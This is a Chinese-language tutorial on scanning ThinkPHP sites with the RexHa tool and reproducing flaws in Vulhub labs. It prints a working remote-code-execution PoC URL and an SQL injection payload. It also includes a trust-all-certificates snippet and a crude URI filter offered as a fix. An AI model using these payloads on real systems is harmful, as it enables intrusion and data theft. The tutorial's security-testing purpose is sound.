当前位置：首页 > news >正文

ThinkPHP安全自查：手把手教你用RexHa工具检测7个常见漏洞（附靶场复现指南）

news 2026/6/1 13:33:37

ThinkPHP安全实战：RexHa工具深度检测与靶场复现指南

在当今快速迭代的Web开发领域，ThinkPHP作为国内广泛使用的PHP框架，其安全性直接影响着数百万网站的数据防护。本文将带您深入掌握如何运用RexHa这款专为ThinkPHP设计的漏洞扫描工具，通过七个典型漏洞的检测与验证，构建完整的安全防护闭环。

1. 工具核心能力解析

RexHa作为基于JavaFx开发的轻量级扫描工具，其设计哲学聚焦于ThinkPHP生态的特定风险点。与通用型扫描器相比，它具有三个独特优势：

精准检测：针对ThinkPHP 2.x至5.x版本的已知漏洞进行深度优化
低干扰：线程休眠机制确保扫描过程不影响目标系统正常服务
可视化验证：自动生成可直接在浏览器验证的PoC链接

工具支持的漏洞检测矩阵如下：

漏洞类型	影响版本	风险等级	验证方式
2.x RCE	ThinkPHP 2.x	严重	浏览器直接验证
5.0.23 RCE	5.0.23	严重	BurpSuite重放
5.0.x通杀RCE	5.0.0-5.0.23	严重	命令行验证
SQL注入	5.x	高危	数据库响应分析
3.x日志泄露(两种)	3.x	中危	直接URL访问
数据库信息泄露	5.x	高危	JSON格式验证

2. 环境准备与工具配置

2.1 基础运行环境搭建

RexHa需要Java 8+运行环境，推荐使用OpenJDK 11以获得最佳性能：

# Ubuntu/Debian系统安装示例 sudo apt update sudo apt install -y openjdk-11-jdk java -version # 验证安装

对于Windows用户，建议通过Chocolatey包管理器安装：

choco install openjdk11 -y

2.2 工具获取与初始化

通过GitHub获取最新发行版：

git clone https://github.com/zangcc/RexHa.git cd RexHa/release java -jar RexHa-2.0.jar

首次运行时需注意：

确保网络连接正常以下载依赖库
关闭杀毒软件可能误报的警告
建议在测试环境中使用而非生产环境

3. 单漏洞检测实战演练

3.1 ThinkPHP 2.x RCE检测

这是最具破坏力的漏洞之一，检测流程如下：

在工具界面选择"2.x RCE"检测模块
输入目标URL（格式必须为http(s)://domain/path/）
点击扫描按钮（光标会变为猫爪图标）

成功检测后，工具会返回类似格式的PoC：

http://target.com/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

重要提示：验证时建议使用无害命令如whoami或id，避免对目标系统造成实际影响

3.2 SQL注入与信息泄露检测

针对ThinkPHP 5.x的SQL注入漏洞，RexHa采用预置Payload进行探测：

POST /index.php?s=/index/index/index HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded username[0]=exp&username[1]==1%20union%20select%201,user(),3,4%23&password=1

检测结果会显示数据库用户信息，典型响应包含：

数据库版本
当前用户权限
服务器环境信息

4. 批量扫描与结果分析

RexHa的多线程引擎支持同时检测多个目标，关键配置参数：

线程数：默认为3，可根据网络状况调整
间隔时间：1.5秒/请求，避免触发防护机制
输出格式：实时显示扫描进度和结果摘要

执行批量扫描的推荐工作流：

准备待检测URL列表文件（每行一个标准URL）
在工具中选择"批量扫描"模式
导入URL文件并启动扫描
导出结果为JSON格式报告

典型扫描报告结构示例：

{ "target": "http://test.site", "vulnerabilities": [ { "type": "5.0.23-RCE", "confidence": "high", "poc": "http://test.site/index.php?s=/index/\think\app/invokefunction..." } ], "timestamp": "2023-08-20T14:30:00Z" }

5. 靶场环境复现指南

使用Vulhub搭建测试环境是最安全的验证方式：

5.1 ThinkPHP 5.0.23环境部署

git clone https://github.com/vulhub/vulhub.git cd vulhub/thinkphp/5.0.23-rce docker-compose up -d

环境启动后，可通过RexHa检测以下漏洞：

RCE（远程代码执行）
路由注入
请求伪造

5.2 漏洞修复方案

针对检测到的漏洞，应立即采取以下措施：

版本升级：
- 2.x用户应迁移至5.1+版本
- 5.0.x用户至少升级到5.0.24

临时防护：

// 在应用入口文件添加 if(strpos($_SERVER['REQUEST_URI'], 'think') !== false){ die('Access Denied'); }

日志安全：
- 修改默认日志路径
- 设置日志目录不可web访问
- 定期清理历史日志

6. 高级技巧与异常处理

当扫描遇到问题时，可尝试以下排查方法：

证书错误：

// 在工具配置中添加 SSLContext sslContext = SSLContext.getInstance("TLS"); sslContext.init(null, trustAllCerts, new SecureRandom());

网络超时：
- 调整HttpClient超时参数
- 设置合理的重试机制
结果误判：
- 检查目标是否使用CDN
- 验证WAF拦截规则
- 对比手工测试结果

7. 安全开发生命周期集成

将RexHa整合到CI/CD流程中：

# GitLab CI示例 stages: - security thinkphp_scan: stage: security image: openjdk:11 script: - java -jar RexHa.jar --url=${STAGING_URL} --report=gl-dast-report.json artifacts: paths: - gl-dast-report.json expire_in: 1 week only: - merge_requests

结合OWASP ZAP等工具可构建完整测试链：